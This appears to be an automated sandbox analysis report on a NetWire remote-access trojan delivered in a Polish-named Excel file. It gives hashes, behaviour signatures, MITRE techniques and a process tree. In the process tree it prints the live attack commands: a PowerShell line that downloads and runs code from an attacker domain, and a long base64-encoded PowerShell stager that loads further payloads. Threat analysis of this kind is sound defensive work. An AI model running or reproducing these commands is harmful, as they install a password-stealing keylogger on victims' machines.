netwire | 2225eecf02d98cb9631cafc0c529102e14124d43b2364b8947c2b75ffc38660e

General

Target

Potwierdzenie transakcji (4).xls
Size

858KB
MD5

5a70778bed8ca69ba44a0fa43198c1cb
SHA1

3b4cd5dc12ba90d25283a14b9db45a27b7a4313f
SHA256

2225eecf02d98cb9631cafc0c529102e14124d43b2364b8947c2b75ffc38660e
SHA512

2f865ed894592311e33e6afc415871b4d1ccfdbd189fa6a9f8690d5232ef7e67864b1ad2ad25e6ebd9bc9dd176d726aa877e0311e55e6774ae5c8225650a2161

Score

10^/10

rat botnet stealer netwire

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://office-service-softs.info/tech.jpg

Signatures

Blacklisted process makes network request 3 IoCs

flow	pid	Process
13	3832	powershell.exe
14	648	powershell.exe
21	648	powershell.exe

NetWire RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/1844-2-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/1844-4-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3832	344	powershell.exe	66

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 344 wrote to memory of 3832	344	EXCEL.EXE	71
PID 344 wrote to memory of 3832	344	EXCEL.EXE	71
PID 3832 wrote to memory of 648	3832	powershell.exe	74
PID 3832 wrote to memory of 648	3832	powershell.exe	74
PID 648 wrote to memory of 1760	648	powershell.exe	76
PID 648 wrote to memory of 1760	648	powershell.exe	76
PID 648 wrote to memory of 1760	648	powershell.exe	76
PID 648 wrote to memory of 1756	648	powershell.exe	77
PID 648 wrote to memory of 1756	648	powershell.exe	77
PID 648 wrote to memory of 1756	648	powershell.exe	77
PID 648 wrote to memory of 1828	648	powershell.exe	78
PID 648 wrote to memory of 1828	648	powershell.exe	78
PID 648 wrote to memory of 1828	648	powershell.exe	78
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79
PID 648 wrote to memory of 1844	648	powershell.exe	79

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	648	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe
648	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 648 set thread context of 1844	648	powershell.exe	79

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE
344	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
344	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (4).xls"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')
  2⤵
  - Blacklisted process makes network request
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:3832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA
    3⤵
    - Blacklisted process makes network request
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetThreadContext
    PID:648
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1760
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1756
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1828
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1844-2-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1844-4-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads